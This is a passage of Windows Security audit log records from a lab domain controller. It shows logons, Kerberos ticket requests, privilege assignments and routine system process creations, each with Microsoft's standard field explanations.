- - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 54516 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248348 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8292A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248358 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x85B99 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {14053761-D189-9272-DC08-424B393741D5} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248357 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x85B99 - -Privileges: SeAuditPrivilege - SeImpersonatePrivilege - SeAssignPrimaryTokenPrivilege -03/11/2021 11:45:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=248356 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F7E1966E-EA0D-D10C-3A7B-F269BD4923AD} - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x60810010 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:45:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=248355 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F7E1966E-EA0D-D10C-3A7B-F269BD4923AD} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:45:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=248354 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: WIN-DC-725$ - Supplied Realm Name: attackrange.local - User ID: ATTACKRANGE\WIN-DC-725$ - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:45:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248359 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\cmd.exe /d /c C:\Windows\system32\silcollector.cmd configure - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248362 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf90 - New Process Name: C:\Windows\System32\reg.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe00 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: C:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248361 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe00 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xee0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c C:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248360 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xee0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:46:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248363 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf44 - New Process Name: C:\Windows\System32\wbem\WMIADAP.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: wmiadap.exe /D /T - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:46:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248370 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x9917C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 63892 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:46:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248369 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x9917C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:46:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248368 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x9904D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:46:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248367 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x9904D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 63891 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:46:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248366 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x9904D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:46:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248365 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x98F7A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 63890 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:46:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248364 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x98F7A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:46:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248372 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x9D987 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63893 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:46:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248371 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x9D987 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248373 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0xfc8 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k NetworkService - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:47:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248376 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x950 - New Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:47:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248375 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x980 - New Process Name: C:\Windows\System32\sppsvc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\sppsvc.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:47:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248374 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x62c - New Process Name: 